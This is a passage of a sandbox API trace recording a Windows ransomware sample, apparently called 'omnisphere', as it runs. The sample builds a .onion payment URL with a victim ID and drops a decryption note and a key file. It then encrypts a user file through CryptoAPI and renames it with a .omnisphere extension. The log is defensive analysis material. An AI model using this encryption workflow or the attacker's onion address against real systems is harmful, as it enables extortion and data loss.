(HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16bac68 [0119.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.287] GetProcessHeap () returned 0x1600000 [0119.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b21f8 [0119.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b21f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.287] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.287] GetProcessHeap () returned 0x1600000 [0119.287] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afee8 [0119.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afee8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.288] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.288] GetProcessHeap () returned 0x1600000 [0119.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1eb8 [0119.288] PathCombineW (in: pszDest=0x16a1eb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.288] GetProcessHeap () returned 0x1600000 [0119.288] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b39e0 [0119.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.288] WriteFile (in: hFile=0x28c, lpBuffer=0x16b39e0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b39e0*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.288] CloseHandle (hObject=0x28c) returned 1 [0119.289] GetProcessHeap () returned 0x1600000 [0119.289] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bac68 | out: hHeap=0x1600000) returned 1 [0119.289] GetProcessHeap () returned 0x1600000 [0119.289] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.289] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.289] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.289] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.289] CloseHandle (hObject=0x28c) returned 1 [0119.289] GetProcessHeap () returned 0x1600000 [0119.289] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.289] GetProcessHeap () returned 0x1600000 [0119.290] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16a1560 | out: hHeap=0x1600000) returned 1 [0119.290] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf932b429, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x2271f07d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2271f07d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0x0, dwReserved1=0xd3, cFileName="9cb4lAWmT4epM 8gG.lnk", cAlternateFileName="9CB4LA~1.LNK")) returned 1 [0119.290] GetProcessHeap () returned 0x1600000 [0119.290] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16a16d0 [0119.290] PathCombineW (in: pszDest=0x16a16d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="9cb4lAWmT4epM 8gG.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk" [0119.290] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9cb4lawmt4epm 8gg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.290] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=896) returned 1 [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.290] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] GetTickCount () returned 0x115dcef [0119.291] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ce0) returned 1 [0119.292] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0119.292] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.292] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.292] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0119.292] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x288 [0119.293] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x1480000 [0119.293] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0119.294] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0119.294] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.294] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.295] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.296] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.297] CryptDestroyKey (hKey=0x1639b28) returned 1 [0119.297] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.297] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.297] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.297] GetProcessHeap () returned 0x1600000 [0119.297] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16bac68 [0119.297] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9cb4lawmt4epm 8gg.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9cb4lawmt4epm 8gg.lnk.omnisphere")) returned 1 [0119.298] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk.omnisphere.id" [0119.298] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9cb4lAWmT4epM 8gG.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9cb4lawmt4epm 8gg.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.298] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.300] CloseHandle (hObject=0x3c0) returned 1 [0119.301] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.301] 